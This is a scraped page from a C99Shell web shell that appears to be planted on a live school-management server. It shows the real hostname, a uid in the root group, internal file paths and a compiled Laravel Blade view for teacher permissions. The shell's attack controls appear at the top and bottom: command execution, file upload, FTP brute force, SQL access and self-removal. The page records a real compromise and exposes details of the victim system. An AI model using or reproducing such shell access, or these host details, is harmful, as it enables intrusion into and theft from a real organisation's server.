!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/school.picotech.app/public_html/storage/framework/views/   drwxr-xr-x
Free 29.29 GB of 117.98 GB (24.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     6a379c1d602a744ac2cb29f6e38c91896f2698a8.php (3.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 

use App\Models\TeacherPermission;

?>

<!-- Table -->
<div class="table-responsive">
    <table class="table eTable eTable-2">
        <thead>
          <tr>
            <th scope="col">#</th>
            <th scope="col"><?php echo e(get_phrase('Teacher')); ?></th>
            <th scope="col"><?php echo e(get_phrase('Marks')); ?></th>
            <th scope="col"><?php echo e(get_phrase('Attendance')); ?></th>
        </thead>
        <tbody>
            <?php $__currentLoopData $teachers$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $teacher): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
            <?php 
                $permission 
TeacherPermission::where('class_id'$class_id)
                    ->
where('section_id'$section_id)
                    ->
where('teacher_id'$teacher->id)
                    ->
where('school_id'auth()->user()->school_id)
                    ->
first();

                if(empty(
$permission)){
                    
$permission['marks'] = 0;
                    
$permission['attendance'] = 0;
                }
            
?>
            <?php 
                $info 
json_decode($teacher->user_information);
                
$user_image $info->photo;
                if(!empty(
$info->photo)){
                    
$user_image 'uploads/user-images/'.$info->photo;
                }else{
                    
$user_image 'uploads/user-images/thumbnail.png';
                }
            
?>
              <tr>
                <th scope="row">
                  <p class="row-number"><?php echo e($loop->index 1); ?></p>
                </th>
                <td>
                    <div class="dAdmin_info_name">
                        <p><span><?php echo e($teacher->name); ?></span></p>
                    </div>
                </td>
                <td>
                    <div class="eSwitches">
                        <div class="form-check form-switch">
                          <input class="form-check-input form-switch-large" type="checkbox" value="<?php echo e($permission['marks']); ?>" role="switch" id="<?php echo e($teacher['id'].'1'); ?>" onchange="togglePermission(this.id, 'marks', '<?php echo e($teacher['id']); ?>')" <?php echo e($permission['marks'] == 'checked':''); ?> />
                        </div>
                    </div>
                </td>
                <td>
                    <div class="eSwitches">
                        <div class="form-check form-switch">
                          <input class="form-check-input form-switch-large" type="checkbox" value="<?php echo e($permission['attendance']); ?>" role="switch" id="<?php echo e($teacher['id'].'3'); ?>" onchange="togglePermission(this.id, 'attendance', '<?php echo e($teacher['id']); ?>')" <?php echo e($permission['attendance'] == 'checked':''); ?> />
                        </div>
                    </div>
                </td>
              </tr>
            <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
        </tbody>
    </table>
</div>

<!-- permission insert and update -->
<script type="text/javascript">
  
      "use strict";

    function togglePermission(checkbox_id, column_name, teacher_id){

        var value = $('#'+checkbox_id).val();
        if($('#'+checkbox_id).prop('checked') == true){
            value = 1;
        }else{
            value = 0;
        }
        console.log(value);
        var class_id = $('#class_id').val();
        var section_id = $('#section_id').val();

        let url = "<?php echo e(route('admin.teacher.modify_permission')); ?>";

        $.ajax({
            url: url,
            headers: {
                'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
            },
            data: {class_id : class_id, section_id : section_id, teacher_id : teacher_id, column_name : column_name,  value : value},
            success: function(response){
                // $('.permission_content').html(response);
                toastr.success('<?php echo e(get_phrase('Permission updated successfully.')); ?>');
            }
        });

    }
</script><?php /**PATH /home/picotech/domains/school.picotech.app/public_html/resources/views/admin/permission/list.blade.php ENDPATH**/ ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--